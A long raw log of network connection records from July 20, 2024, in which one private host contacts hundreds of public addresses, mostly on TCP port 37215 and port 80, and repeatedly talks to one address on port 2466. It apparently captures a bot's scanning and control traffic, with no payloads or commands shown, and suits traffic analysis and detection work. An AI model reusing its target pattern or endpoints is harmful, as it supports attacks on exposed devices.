Jul 20, 2024 23:00:56.848390102 CEST	80	36013	95.196.149.234	192.168.2.23
Jul 20, 2024 23:00:56.848402023 CEST	36013	80	192.168.2.23	95.252.156.213
Jul 20, 2024 23:00:56.848406076 CEST	80	36013	95.133.246.17	192.168.2.23
Jul 20, 2024 23:00:56.848412037 CEST	36013	80	192.168.2.23	95.239.94.125
Jul 20, 2024 23:00:56.848423004 CEST	80	36013	95.26.239.30	192.168.2.23
Jul 20, 2024 23:00:56.848424911 CEST	36013	80	192.168.2.23	95.196.149.234
Jul 20, 2024 23:00:56.848437071 CEST	36013	80	192.168.2.23	95.133.246.17
Jul 20, 2024 23:00:56.848439932 CEST	80	36013	95.115.19.229	192.168.2.23
Jul 20, 2024 23:00:56.848454952 CEST	80	36013	95.38.231.148	192.168.2.23
Jul 20, 2024 23:00:56.848459005 CEST	36013	80	192.168.2.23	95.26.239.30
Jul 20, 2024 23:00:56.848469019 CEST	80	36013	95.198.121.144	192.168.2.23
Jul 20, 2024 23:00:56.848488092 CEST	36013	80	192.168.2.23	95.38.231.148
Jul 20, 2024 23:00:56.848498106 CEST	80	36013	95.165.137.111	192.168.2.23
Jul 20, 2024 23:00:56.848500967 CEST	36013	80	192.168.2.23	95.115.19.229
Jul 20, 2024 23:00:56.848515034 CEST	36013	80	192.168.2.23	95.198.121.144
Jul 20, 2024 23:00:56.848515987 CEST	80	36013	95.25.207.130	192.168.2.23
Jul 20, 2024 23:00:56.848531008 CEST	80	36013	95.166.31.104	192.168.2.23
Jul 20, 2024 23:00:56.848541021 CEST	36013	80	192.168.2.23	95.165.137.111
Jul 20, 2024 23:00:56.848547935 CEST	80	36013	95.126.44.182	192.168.2.23
Jul 20, 2024 23:00:56.848550081 CEST	36013	80	192.168.2.23	95.25.207.130
Jul 20, 2024 23:00:56.848562956 CEST	80	36013	95.254.52.66	192.168.2.23
Jul 20, 2024 23:00:56.848579884 CEST	36013	80	192.168.2.23	95.166.31.104
Jul 20, 2024 23:00:56.848581076 CEST	80	36013	95.238.142.235	192.168.2.23
Jul 20, 2024 23:00:56.848596096 CEST	36013	80	192.168.2.23	95.126.44.182
Jul 20, 2024 23:00:56.848596096 CEST	37215	42510	173.155.49.17	192.168.2.23
Jul 20, 2024 23:00:56.848601103 CEST	36013	80	192.168.2.23	95.254.52.66
Jul 20, 2024 23:00:56.848612070 CEST	2466	32848	15.235.203.214	192.168.2.23
Jul 20, 2024 23:00:56.848618031 CEST	36013	80	192.168.2.23	95.238.142.235
Jul 20, 2024 23:00:56.848627090 CEST	37215	54222	37.80.86.165	192.168.2.23
Jul 20, 2024 23:00:56.848643064 CEST	37215	40282	23.141.91.228	192.168.2.23
Jul 20, 2024 23:00:56.848647118 CEST	42510	37215	192.168.2.23	173.155.49.17
Jul 20, 2024 23:00:56.848658085 CEST	37215	59050	203.201.15.112	192.168.2.23
Jul 20, 2024 23:00:56.848660946 CEST	32848	2466	192.168.2.23	15.235.203.214
Jul 20, 2024 23:00:56.848663092 CEST	54222	37215	192.168.2.23	37.80.86.165
Jul 20, 2024 23:00:56.848675966 CEST	40282	37215	192.168.2.23	23.141.91.228
Jul 20, 2024 23:00:56.848700047 CEST	59050	37215	192.168.2.23	203.201.15.112
Jul 20, 2024 23:00:56.848783016 CEST	34064	37215	192.168.2.23	221.200.167.164
Jul 20, 2024 23:00:56.851054907 CEST	32848	2466	192.168.2.23	15.235.203.214
Jul 20, 2024 23:00:56.851759911 CEST	37215	53130	157.110.226.143	192.168.2.23
Jul 20, 2024 23:00:56.851797104 CEST	53130	37215	192.168.2.23	157.110.226.143
Jul 20, 2024 23:00:56.852706909 CEST	34536	37215	192.168.2.23	197.76.203.13
Jul 20, 2024 23:00:56.854554892 CEST	37215	34064	221.200.167.164	192.168.2.23
Jul 20, 2024 23:00:56.854592085 CEST	34064	37215	192.168.2.23	221.200.167.164
Jul 20, 2024 23:00:56.856208086 CEST	55530	37215	192.168.2.23	157.37.107.134
Jul 20, 2024 23:00:56.856281996 CEST	2466	32848	15.235.203.214	192.168.2.23
Jul 20, 2024 23:00:56.858534098 CEST	37215	34536	197.76.203.13	192.168.2.23
Jul 20, 2024 23:00:56.858607054 CEST	34536	37215	192.168.2.23	197.76.203.13
Jul 20, 2024 23:00:56.859160900 CEST	41094	37215	192.168.2.23	157.66.238.102
Jul 20, 2024 23:00:56.861917973 CEST	37215	55530	157.37.107.134	192.168.2.23
Jul 20, 2024 23:00:56.861958981 CEST	55530	37215	192.168.2.23	157.37.107.134
Jul 20, 2024 23:00:56.862591028 CEST	46136	37215	192.168.2.23	197.12.204.52
Jul 20, 2024 23:00:56.864962101 CEST	37215	41094	157.66.238.102	192.168.2.23
Jul 20, 2024 23:00:56.865008116 CEST	41094	37215	192.168.2.23	157.66.238.102
Jul 20, 2024 23:00:56.866031885 CEST	36278	37215	192.168.2.23	157.203.14.217
Jul 20, 2024 23:00:56.868398905 CEST	37215	46136	197.12.204.52	192.168.2.23
Jul 20, 2024 23:00:56.868499994 CEST	46136	37215	192.168.2.23	197.12.204.52
Jul 20, 2024 23:00:56.870035887 CEST	56886	37215	192.168.2.23	17.113.7.103
Jul 20, 2024 23:00:56.871202946 CEST	37215	36278	157.203.14.217	192.168.2.23
Jul 20, 2024 23:00:56.871248960 CEST	36278	37215	192.168.2.23	157.203.14.217
Jul 20, 2024 23:00:56.874387026 CEST	44014	37215	192.168.2.23	143.179.199.146
Jul 20, 2024 23:00:56.874886990 CEST	37215	56886	17.113.7.103	192.168.2.23
Jul 20, 2024 23:00:56.875061035 CEST	56886	37215	192.168.2.23	17.113.7.103
Jul 20, 2024 23:00:56.878297091 CEST	52728	37215	192.168.2.23	125.230.182.28
Jul 20, 2024 23:00:56.879261017 CEST	37215	44014	143.179.199.146	192.168.2.23
Jul 20, 2024 23:00:56.879313946 CEST	44014	37215	192.168.2.23	143.179.199.146
Jul 20, 2024 23:00:56.883099079 CEST	58196	37215	192.168.2.23	197.77.131.53
Jul 20, 2024 23:00:56.883172035 CEST	37215	52728	125.230.182.28	192.168.2.23
Jul 20, 2024 23:00:56.883208036 CEST	52728	37215	192.168.2.23	125.230.182.28
Jul 20, 2024 23:00:56.888147116 CEST	37215	58196	197.77.131.53	192.168.2.23
Jul 20, 2024 23:00:56.888215065 CEST	52906	37215	192.168.2.23	157.119.223.145
Jul 20, 2024 23:00:56.888302088 CEST	58196	37215	192.168.2.23	197.77.131.53
Jul 20, 2024 23:00:56.893060923 CEST	37215	52906	157.119.223.145	192.168.2.23
Jul 20, 2024 23:00:56.893106937 CEST	52906	37215	192.168.2.23	157.119.223.145
Jul 20, 2024 23:00:56.893137932 CEST	37174	37215	192.168.2.23	157.233.134.27
Jul 20, 2024 23:00:56.897975922 CEST	37215	37174	157.233.134.27	192.168.2.23
Jul 20, 2024 23:00:56.898013115 CEST	37174	37215	192.168.2.23	157.233.134.27
Jul 20, 2024 23:00:56.898358107 CEST	49188	37215	192.168.2.23	197.166.141.245
Jul 20, 2024 23:00:56.903181076 CEST	37215	49188	197.166.141.245	192.168.2.23
Jul 20, 2024 23:00:56.903218031 CEST	49188	37215	192.168.2.23	197.166.141.245
Jul 20, 2024 23:00:56.903430939 CEST	44052	37215	192.168.2.23	197.23.80.245
Jul 20, 2024 23:00:56.908076048 CEST	47068	37215	192.168.2.23	197.30.15.103
Jul 20, 2024 23:00:56.908472061 CEST	37215	44052	197.23.80.245	192.168.2.23
Jul 20, 2024 23:00:56.908631086 CEST	44052	37215	192.168.2.23	197.23.80.245
Jul 20, 2024 23:00:56.911462069 CEST	42650	37215	192.168.2.23	47.7.162.229
Jul 20, 2024 23:00:56.913606882 CEST	37215	47068	197.30.15.103	192.168.2.23
Jul 20, 2024 23:00:56.913768053 CEST	47068	37215	192.168.2.23	197.30.15.103
Jul 20, 2024 23:00:56.915220022 CEST	47794	37215	192.168.2.23	41.166.85.150
Jul 20, 2024 23:00:56.917453051 CEST	37215	42650	47.7.162.229	192.168.2.23
Jul 20, 2024 23:00:56.917488098 CEST	42650	37215	192.168.2.23	47.7.162.229
Jul 20, 2024 23:00:56.918344975 CEST	37348	37215	192.168.2.23	86.49.143.0
Jul 20, 2024 23:00:56.920069933 CEST	37215	47794	41.166.85.150	192.168.2.23
Jul 20, 2024 23:00:56.920228958 CEST	47794	37215	192.168.2.23	41.166.85.150
Jul 20, 2024 23:00:56.921641111 CEST	44040	37215	192.168.2.23	41.242.31.133
Jul 20, 2024 23:00:56.923492908 CEST	37215	37348	86.49.143.0	192.168.2.23
Jul 20, 2024 23:00:56.923660040 CEST	37348	37215	192.168.2.23	86.49.143.0
Jul 20, 2024 23:00:56.924495935 CEST	38000	37215	192.168.2.23	41.143.61.103
Jul 20, 2024 23:00:56.927109957 CEST	37215	44040	41.242.31.133	192.168.2.23
Jul 20, 2024 23:00:56.927145958 CEST	44040	37215	192.168.2.23	41.242.31.133
Jul 20, 2024 23:00:56.928730011 CEST	43126	37215	192.168.2.23	197.4.26.126
Jul 20, 2024 23:00:56.930151939 CEST	37215	38000	41.143.61.103	192.168.2.23
Jul 20, 2024 23:00:56.930188894 CEST	38000	37215	192.168.2.23	41.143.61.103
Jul 20, 2024 23:00:56.933092117 CEST	38628	37215	192.168.2.23	157.240.255.134
Jul 20, 2024 23:00:56.934307098 CEST	37215	43126	197.4.26.126	192.168.2.23
Jul 20, 2024 23:00:56.934354067 CEST	43126	37215	192.168.2.23	197.4.26.126
Jul 20, 2024 23:00:56.937335014 CEST	49974	37215	192.168.2.23	197.231.189.109
Jul 20, 2024 23:00:56.938023090 CEST	37215	38628	157.240.255.134	192.168.2.23
Jul 20, 2024 23:00:56.938102007 CEST	38628	37215	192.168.2.23	157.240.255.134
Jul 20, 2024 23:00:56.941359997 CEST	59124	37215	192.168.2.23	157.236.245.35
Jul 20, 2024 23:00:56.942517042 CEST	37215	49974	197.231.189.109	192.168.2.23
Jul 20, 2024 23:00:56.942698956 CEST	49974	37215	192.168.2.23	197.231.189.109
Jul 20, 2024 23:00:56.945085049 CEST	48608	37215	192.168.2.23	175.193.29.172
Jul 20, 2024 23:00:56.946244001 CEST	37215	59124	157.236.245.35	192.168.2.23
Jul 20, 2024 23:00:56.946295023 CEST	59124	37215	192.168.2.23	157.236.245.35
Jul 20, 2024 23:00:56.949789047 CEST	47982	37215	192.168.2.23	197.32.17.115
Jul 20, 2024 23:00:56.950720072 CEST	37215	48608	175.193.29.172	192.168.2.23
Jul 20, 2024 23:00:56.950865984 CEST	48608	37215	192.168.2.23	175.193.29.172
Jul 20, 2024 23:00:56.953331947 CEST	52450	37215	192.168.2.23	41.214.240.131
Jul 20, 2024 23:00:56.956957102 CEST	37215	47982	197.32.17.115	192.168.2.23
Jul 20, 2024 23:00:56.957003117 CEST	47982	37215	192.168.2.23	197.32.17.115
Jul 20, 2024 23:00:56.957029104 CEST	32888	37215	192.168.2.23	41.210.186.227
Jul 20, 2024 23:00:56.959204912 CEST	37215	52450	41.214.240.131	192.168.2.23
Jul 20, 2024 23:00:56.959244013 CEST	52450	37215	192.168.2.23	41.214.240.131
Jul 20, 2024 23:00:56.962491035 CEST	35138	37215	192.168.2.23	197.213.7.238
Jul 20, 2024 23:00:56.962989092 CEST	37215	32888	41.210.186.227	192.168.2.23
Jul 20, 2024 23:00:56.963023901 CEST	32888	37215	192.168.2.23	41.210.186.227
Jul 20, 2024 23:00:56.965934992 CEST	43176	37215	192.168.2.23	157.215.252.1
Jul 20, 2024 23:00:56.967309952 CEST	37215	35138	197.213.7.238	192.168.2.23
Jul 20, 2024 23:00:56.967765093 CEST	35138	37215	192.168.2.23	197.213.7.238
Jul 20, 2024 23:00:56.969333887 CEST	42574	37215	192.168.2.23	41.240.149.129
Jul 20, 2024 23:00:56.972048998 CEST	37215	43176	157.215.252.1	192.168.2.23
Jul 20, 2024 23:00:56.972229958 CEST	43176	37215	192.168.2.23	157.215.252.1
Jul 20, 2024 23:00:56.973370075 CEST	37826	37215	192.168.2.23	41.76.26.43
Jul 20, 2024 23:00:56.974253893 CEST	37215	42574	41.240.149.129	192.168.2.23
Jul 20, 2024 23:00:56.974315882 CEST	42574	37215	192.168.2.23	41.240.149.129
Jul 20, 2024 23:00:56.977490902 CEST	52232	37215	192.168.2.23	197.155.27.254
Jul 20, 2024 23:00:56.978599072 CEST	37215	37826	41.76.26.43	192.168.2.23
Jul 20, 2024 23:00:56.978740931 CEST	37826	37215	192.168.2.23	41.76.26.43
Jul 20, 2024 23:00:56.980967999 CEST	40150	37215	192.168.2.23	41.226.72.201
Jul 20, 2024 23:00:56.982356071 CEST	37215	52232	197.155.27.254	192.168.2.23
Jul 20, 2024 23:00:56.982510090 CEST	52232	37215	192.168.2.23	197.155.27.254
Jul 20, 2024 23:00:56.984764099 CEST	46632	37215	192.168.2.23	197.17.13.46
Jul 20, 2024 23:00:56.986238003 CEST	37215	40150	41.226.72.201	192.168.2.23
Jul 20, 2024 23:00:56.986401081 CEST	40150	37215	192.168.2.23	41.226.72.201
Jul 20, 2024 23:00:56.989712954 CEST	44458	37215	192.168.2.23	157.170.128.9
Jul 20, 2024 23:00:56.991158009 CEST	37215	46632	197.17.13.46	192.168.2.23
Jul 20, 2024 23:00:56.991312027 CEST	46632	37215	192.168.2.23	197.17.13.46
Jul 20, 2024 23:00:56.993635893 CEST	53302	37215	192.168.2.23	157.143.196.120
Jul 20, 2024 23:00:56.994512081 CEST	37215	44458	157.170.128.9	192.168.2.23
Jul 20, 2024 23:00:56.994867086 CEST	44458	37215	192.168.2.23	157.170.128.9
Jul 20, 2024 23:00:56.997204065 CEST	57708	37215	192.168.2.23	41.143.175.164
Jul 20, 2024 23:00:56.998553038 CEST	37215	53302	157.143.196.120	192.168.2.23
Jul 20, 2024 23:00:56.998712063 CEST	53302	37215	192.168.2.23	157.143.196.120
Jul 20, 2024 23:00:57.001198053 CEST	43680	37215	192.168.2.23	157.254.68.190
Jul 20, 2024 23:00:57.002876997 CEST	37215	57708	41.143.175.164	192.168.2.23
Jul 20, 2024 23:00:57.002911091 CEST	57708	37215	192.168.2.23	41.143.175.164
Jul 20, 2024 23:00:57.004770994 CEST	41818	37215	192.168.2.23	207.93.222.13
Jul 20, 2024 23:00:57.006177902 CEST	37215	43680	157.254.68.190	192.168.2.23
Jul 20, 2024 23:00:57.006218910 CEST	43680	37215	192.168.2.23	157.254.68.190
Jul 20, 2024 23:00:57.007556915 CEST	33418	37215	192.168.2.23	197.127.202.249
Jul 20, 2024 23:00:57.009922028 CEST	37215	41818	207.93.222.13	192.168.2.23
Jul 20, 2024 23:00:57.009968996 CEST	41818	37215	192.168.2.23	207.93.222.13
Jul 20, 2024 23:00:57.010775089 CEST	47604	37215	192.168.2.23	197.178.33.225
Jul 20, 2024 23:00:57.012382030 CEST	37215	33418	197.127.202.249	192.168.2.23
Jul 20, 2024 23:00:57.012418985 CEST	33418	37215	192.168.2.23	197.127.202.249
Jul 20, 2024 23:00:57.014267921 CEST	56366	37215	192.168.2.23	197.221.173.151
Jul 20, 2024 23:00:57.016918898 CEST	37215	47604	197.178.33.225	192.168.2.23
Jul 20, 2024 23:00:57.017102003 CEST	47604	37215	192.168.2.23	197.178.33.225
Jul 20, 2024 23:00:57.017815113 CEST	57502	37215	192.168.2.23	157.189.184.171
Jul 20, 2024 23:00:57.019191980 CEST	37215	56366	197.221.173.151	192.168.2.23
Jul 20, 2024 23:00:57.019227028 CEST	56366	37215	192.168.2.23	197.221.173.151
Jul 20, 2024 23:00:57.020608902 CEST	43520	37215	192.168.2.23	61.117.29.155
Jul 20, 2024 23:00:57.022718906 CEST	37215	57502	157.189.184.171	192.168.2.23
Jul 20, 2024 23:00:57.022772074 CEST	57502	37215	192.168.2.23	157.189.184.171
Jul 20, 2024 23:00:57.023361921 CEST	47728	37215	192.168.2.23	41.6.98.70
Jul 20, 2024 23:00:57.025455952 CEST	37215	43520	61.117.29.155	192.168.2.23
Jul 20, 2024 23:00:57.025600910 CEST	43520	37215	192.168.2.23	61.117.29.155
Jul 20, 2024 23:00:57.026690960 CEST	50602	37215	192.168.2.23	157.15.115.232
Jul 20, 2024 23:00:57.028202057 CEST	37215	47728	41.6.98.70	192.168.2.23
Jul 20, 2024 23:00:57.028245926 CEST	47728	37215	192.168.2.23	41.6.98.70
Jul 20, 2024 23:00:57.029669046 CEST	47684	37215	192.168.2.23	41.214.148.214
Jul 20, 2024 23:00:57.031734943 CEST	37215	50602	157.15.115.232	192.168.2.23
Jul 20, 2024 23:00:57.031892061 CEST	50602	37215	192.168.2.23	157.15.115.232
Jul 20, 2024 23:00:57.032761097 CEST	39456	37215	192.168.2.23	57.35.73.126
Jul 20, 2024 23:00:57.034684896 CEST	37215	47684	41.214.148.214	192.168.2.23
Jul 20, 2024 23:00:57.034733057 CEST	47684	37215	192.168.2.23	41.214.148.214
Jul 20, 2024 23:00:57.036039114 CEST	55506	37215	192.168.2.23	157.6.221.99
Jul 20, 2024 23:00:57.037708044 CEST	37215	39456	57.35.73.126	192.168.2.23
Jul 20, 2024 23:00:57.037743092 CEST	39456	37215	192.168.2.23	57.35.73.126
Jul 20, 2024 23:00:57.039601088 CEST	36746	37215	192.168.2.23	41.173.160.14
Jul 20, 2024 23:00:57.041100025 CEST	37215	55506	157.6.221.99	192.168.2.23
Jul 20, 2024 23:00:57.041141033 CEST	55506	37215	192.168.2.23	157.6.221.99
Jul 20, 2024 23:00:57.042324066 CEST	53842	37215	192.168.2.23	197.55.83.122
Jul 20, 2024 23:00:57.044601917 CEST	37215	36746	41.173.160.14	192.168.2.23
Jul 20, 2024 23:00:57.044753075 CEST	36746	37215	192.168.2.23	41.173.160.14
Jul 20, 2024 23:00:57.047364950 CEST	37215	53842	197.55.83.122	192.168.2.23
Jul 20, 2024 23:00:57.047437906 CEST	53842	37215	192.168.2.23	197.55.83.122
Jul 20, 2024 23:00:57.058480024 CEST	56808	37215	192.168.2.23	197.138.137.217
Jul 20, 2024 23:00:57.063002110 CEST	53230	37215	192.168.2.23	46.47.224.132
Jul 20, 2024 23:00:57.063328981 CEST	37215	56808	197.138.137.217	192.168.2.23
Jul 20, 2024 23:00:57.063366890 CEST	56808	37215	192.168.2.23	197.138.137.217
Jul 20, 2024 23:00:57.065536022 CEST	43440	37215	192.168.2.23	197.212.61.129
Jul 20, 2024 23:00:57.069144964 CEST	51548	37215	192.168.2.23	172.101.164.72
Jul 20, 2024 23:00:57.069469929 CEST	37215	53230	46.47.224.132	192.168.2.23
Jul 20, 2024 23:00:57.069617987 CEST	53230	37215	192.168.2.23	46.47.224.132
Jul 20, 2024 23:00:57.071806908 CEST	37215	43440	197.212.61.129	192.168.2.23
Jul 20, 2024 23:00:57.071852922 CEST	43440	37215	192.168.2.23	197.212.61.129
Jul 20, 2024 23:00:57.074080944 CEST	37215	51548	172.101.164.72	192.168.2.23
Jul 20, 2024 23:00:57.074131012 CEST	51548	37215	192.168.2.23	172.101.164.72
Jul 20, 2024 23:00:57.074162960 CEST	44174	37215	192.168.2.23	197.38.235.14
Jul 20, 2024 23:00:57.078716040 CEST	51880	37215	192.168.2.23	132.70.95.60
Jul 20, 2024 23:00:57.079349041 CEST	37215	44174	197.38.235.14	192.168.2.23
Jul 20, 2024 23:00:57.079394102 CEST	44174	37215	192.168.2.23	197.38.235.14
Jul 20, 2024 23:00:57.082494020 CEST	34472	37215	192.168.2.23	41.90.43.161
Jul 20, 2024 23:00:57.086149931 CEST	49826	37215	192.168.2.23	41.65.251.158
Jul 20, 2024 23:00:57.087816954 CEST	37215	51880	132.70.95.60	192.168.2.23
Jul 20, 2024 23:00:57.088035107 CEST	51880	37215	192.168.2.23	132.70.95.60
Jul 20, 2024 23:00:57.090256929 CEST	57796	37215	192.168.2.23	197.249.133.131
Jul 20, 2024 23:00:57.090620041 CEST	37215	34472	41.90.43.161	192.168.2.23
Jul 20, 2024 23:00:57.090663910 CEST	34472	37215	192.168.2.23	41.90.43.161
Jul 20, 2024 23:00:57.091146946 CEST	37215	49826	41.65.251.158	192.168.2.23
Jul 20, 2024 23:00:57.091279030 CEST	49826	37215	192.168.2.23	41.65.251.158
Jul 20, 2024 23:00:57.094305992 CEST	41354	37215	192.168.2.23	197.93.123.78
Jul 20, 2024 23:00:57.095098972 CEST	37215	57796	197.249.133.131	192.168.2.23
Jul 20, 2024 23:00:57.095138073 CEST	57796	37215	192.168.2.23	197.249.133.131
Jul 20, 2024 23:00:57.098941088 CEST	57480	37215	192.168.2.23	78.242.93.228
Jul 20, 2024 23:00:57.099387884 CEST	37215	41354	197.93.123.78	192.168.2.23
Jul 20, 2024 23:00:57.099530935 CEST	41354	37215	192.168.2.23	197.93.123.78
Jul 20, 2024 23:00:57.103856087 CEST	58950	37215	192.168.2.23	197.71.207.159
Jul 20, 2024 23:00:57.103904009 CEST	37215	57480	78.242.93.228	192.168.2.23
Jul 20, 2024 23:00:57.103948116 CEST	57480	37215	192.168.2.23	78.242.93.228
Jul 20, 2024 23:00:57.107956886 CEST	34808	37215	192.168.2.23	41.19.255.66
Jul 20, 2024 23:00:57.108720064 CEST	37215	58950	197.71.207.159	192.168.2.23
Jul 20, 2024 23:00:57.108854055 CEST	58950	37215	192.168.2.23	197.71.207.159
Jul 20, 2024 23:00:57.112104893 CEST	55906	37215	192.168.2.23	197.159.88.79
Jul 20, 2024 23:00:57.112833023 CEST	37215	34808	41.19.255.66	192.168.2.23
Jul 20, 2024 23:00:57.112876892 CEST	34808	37215	192.168.2.23	41.19.255.66
Jul 20, 2024 23:00:57.117100954 CEST	37215	55906	197.159.88.79	192.168.2.23
Jul 20, 2024 23:00:57.117270947 CEST	55906	37215	192.168.2.23	197.159.88.79
Jul 20, 2024 23:00:57.118042946 CEST	36512	37215	192.168.2.23	157.21.67.49
Jul 20, 2024 23:00:57.122925997 CEST	35550	37215	192.168.2.23	168.165.233.141
Jul 20, 2024 23:00:57.123018980 CEST	37215	36512	157.21.67.49	192.168.2.23
Jul 20, 2024 23:00:57.123059988 CEST	36512	37215	192.168.2.23	157.21.67.49
Jul 20, 2024 23:00:57.127743959 CEST	37215	35550	168.165.233.141	192.168.2.23
Jul 20, 2024 23:00:57.127788067 CEST	35550	37215	192.168.2.23	168.165.233.141
Jul 20, 2024 23:00:57.128788948 CEST	36788	37215	192.168.2.23	69.74.218.35
Jul 20, 2024 23:00:57.133699894 CEST	37215	36788	69.74.218.35	192.168.2.23
Jul 20, 2024 23:00:57.133739948 CEST	36788	37215	192.168.2.23	69.74.218.35
Jul 20, 2024 23:00:57.134594917 CEST	41330	37215	192.168.2.23	197.148.93.189
Jul 20, 2024 23:00:57.139553070 CEST	37215	41330	197.148.93.189	192.168.2.23
Jul 20, 2024 23:00:57.139600039 CEST	41330	37215	192.168.2.23	197.148.93.189
Jul 20, 2024 23:00:57.140094995 CEST	51376	37215	192.168.2.23	41.76.204.184
Jul 20, 2024 23:00:57.145028114 CEST	37215	51376	41.76.204.184	192.168.2.23
Jul 20, 2024 23:00:57.145071030 CEST	51376	37215	192.168.2.23	41.76.204.184
Jul 20, 2024 23:00:57.146023989 CEST	46562	37215	192.168.2.23	197.224.182.83
Jul 20, 2024 23:00:57.150880098 CEST	37215	46562	197.224.182.83	192.168.2.23
Jul 20, 2024 23:00:57.150918961 CEST	46562	37215	192.168.2.23	197.224.182.83
Jul 20, 2024 23:00:57.153106928 CEST	38764	37215	192.168.2.23	60.176.144.80
Jul 20, 2024 23:00:57.158029079 CEST	37215	38764	60.176.144.80	192.168.2.23
Jul 20, 2024 23:00:57.158061028 CEST	38764	37215	192.168.2.23	60.176.144.80
Jul 20, 2024 23:00:57.159806013 CEST	40802	37215	192.168.2.23	41.157.99.54
Jul 20, 2024 23:00:57.163582087 CEST	52740	37215	192.168.2.23	149.227.100.108
Jul 20, 2024 23:00:57.164695024 CEST	37215	40802	41.157.99.54	192.168.2.23
Jul 20, 2024 23:00:57.164747000 CEST	40802	37215	192.168.2.23	41.157.99.54
Jul 20, 2024 23:00:57.167902946 CEST	50028	37215	192.168.2.23	27.41.96.136
Jul 20, 2024 23:00:57.168540001 CEST	37215	52740	149.227.100.108	192.168.2.23
Jul 20, 2024 23:00:57.168708086 CEST	52740	37215	192.168.2.23	149.227.100.108
Jul 20, 2024 23:00:57.172377110 CEST	34718	37215	192.168.2.23	197.89.108.63
Jul 20, 2024 23:00:57.172740936 CEST	37215	50028	27.41.96.136	192.168.2.23
Jul 20, 2024 23:00:57.177658081 CEST	50028	37215	192.168.2.23	27.41.96.136
Jul 20, 2024 23:00:57.180591106 CEST	37215	34718	197.89.108.63	192.168.2.23
Jul 20, 2024 23:00:57.180634975 CEST	34718	37215	192.168.2.23	197.89.108.63
Jul 20, 2024 23:00:57.180886030 CEST	39796	37215	192.168.2.23	197.52.45.132
Jul 20, 2024 23:00:57.185348034 CEST	47332	37215	192.168.2.23	197.146.199.163
Jul 20, 2024 23:00:57.186028957 CEST	37215	39796	197.52.45.132	192.168.2.23
Jul 20, 2024 23:00:57.186069965 CEST	39796	37215	192.168.2.23	197.52.45.132
Jul 20, 2024 23:00:57.190988064 CEST	37215	47332	197.146.199.163	192.168.2.23
Jul 20, 2024 23:00:57.191046953 CEST	47332	37215	192.168.2.23	197.146.199.163
Jul 20, 2024 23:00:57.191400051 CEST	34142	37215	192.168.2.23	197.5.25.5
Jul 20, 2024 23:00:57.195723057 CEST	54738	37215	192.168.2.23	41.9.160.205
Jul 20, 2024 23:00:57.196356058 CEST	37215	34142	197.5.25.5	192.168.2.23
Jul 20, 2024 23:00:57.196554899 CEST	34142	37215	192.168.2.23	197.5.25.5
Jul 20, 2024 23:00:57.200922966 CEST	34110	37215	192.168.2.23	41.81.198.30
Jul 20, 2024 23:00:57.201294899 CEST	37215	54738	41.9.160.205	192.168.2.23
Jul 20, 2024 23:00:57.201466084 CEST	54738	37215	192.168.2.23	41.9.160.205
Jul 20, 2024 23:00:57.204730034 CEST	58602	37215	192.168.2.23	157.10.69.196
Jul 20, 2024 23:00:57.206981897 CEST	37215	34110	41.81.198.30	192.168.2.23
Jul 20, 2024 23:00:57.207098961 CEST	34110	37215	192.168.2.23	41.81.198.30
Jul 20, 2024 23:00:57.208313942 CEST	60150	37215	192.168.2.23	157.12.120.37
Jul 20, 2024 23:00:57.209520102 CEST	37215	58602	157.10.69.196	192.168.2.23
Jul 20, 2024 23:00:57.209852934 CEST	58602	37215	192.168.2.23	157.10.69.196
Jul 20, 2024 23:00:57.211328983 CEST	55928	37215	192.168.2.23	41.25.193.130
Jul 20, 2024 23:00:57.213171959 CEST	37215	60150	157.12.120.37	192.168.2.23
Jul 20, 2024 23:00:57.213265896 CEST	60150	37215	192.168.2.23	157.12.120.37
Jul 20, 2024 23:00:57.214641094 CEST	49446	37215	192.168.2.23	199.229.94.109
Jul 20, 2024 23:00:57.216218948 CEST	37215	55928	41.25.193.130	192.168.2.23
Jul 20, 2024 23:00:57.216257095 CEST	55928	37215	192.168.2.23	41.25.193.130
Jul 20, 2024 23:00:57.218089104 CEST	36772	37215	192.168.2.23	182.102.31.222
Jul 20, 2024 23:00:57.219613075 CEST	37215	49446	199.229.94.109	192.168.2.23
Jul 20, 2024 23:00:57.219654083 CEST	49446	37215	192.168.2.23	199.229.94.109
Jul 20, 2024 23:00:57.220685005 CEST	36734	37215	192.168.2.23	157.189.55.135
Jul 20, 2024 23:00:57.220817089 CEST	48860	37215	192.168.2.23	157.115.56.95
Jul 20, 2024 23:00:57.220833063 CEST	33462	37215	192.168.2.23	41.107.86.189
Jul 20, 2024 23:00:57.220865965 CEST	45112	37215	192.168.2.23	157.87.181.134
Jul 20, 2024 23:00:57.220905066 CEST	40282	37215	192.168.2.23	23.141.91.228
Jul 20, 2024 23:00:57.220899105 CEST	40788	37215	192.168.2.23	157.147.238.186
Jul 20, 2024 23:00:57.220899105 CEST	48734	37215	192.168.2.23	41.174.115.244
Jul 20, 2024 23:00:57.220937014 CEST	54222	37215	192.168.2.23	37.80.86.165
Jul 20, 2024 23:00:57.220937014 CEST	42510	37215	192.168.2.23	173.155.49.17
Jul 20, 2024 23:00:57.220948935 CEST	53130	37215	192.168.2.23	157.110.226.143
Jul 20, 2024 23:00:57.220953941 CEST	34064	37215	192.168.2.23	221.200.167.164
Jul 20, 2024 23:00:57.220983028 CEST	55530	37215	192.168.2.23	157.37.107.134
Jul 20, 2024 23:00:57.220999002 CEST	41094	37215	192.168.2.23	157.66.238.102
Jul 20, 2024 23:00:57.221016884 CEST	59050	37215	192.168.2.23	203.201.15.112
Jul 20, 2024 23:00:57.221025944 CEST	46136	37215	192.168.2.23	197.12.204.52
Jul 20, 2024 23:00:57.221016884 CEST	34536	37215	192.168.2.23	197.76.203.13
Jul 20, 2024 23:00:57.221048117 CEST	36278	37215	192.168.2.23	157.203.14.217
Jul 20, 2024 23:00:57.221090078 CEST	52728	37215	192.168.2.23	125.230.182.28
Jul 20, 2024 23:00:57.221132040 CEST	49188	37215	192.168.2.23	197.166.141.245
Jul 20, 2024 23:00:57.221132040 CEST	37174	37215	192.168.2.23	157.233.134.27
Jul 20, 2024 23:00:57.221141100 CEST	52906	37215	192.168.2.23	157.119.223.145
Jul 20, 2024 23:00:57.221144915 CEST	56886	37215	192.168.2.23	17.113.7.103
Jul 20, 2024 23:00:57.221144915 CEST	44014	37215	192.168.2.23	143.179.199.146
Jul 20, 2024 23:00:57.221189976 CEST	42650	37215	192.168.2.23	47.7.162.229
Jul 20, 2024 23:00:57.221220016 CEST	58196	37215	192.168.2.23	197.77.131.53
Jul 20, 2024 23:00:57.221223116 CEST	44052	37215	192.168.2.23	197.23.80.245
Jul 20, 2024 23:00:57.221220016 CEST	47068	37215	192.168.2.23	197.30.15.103
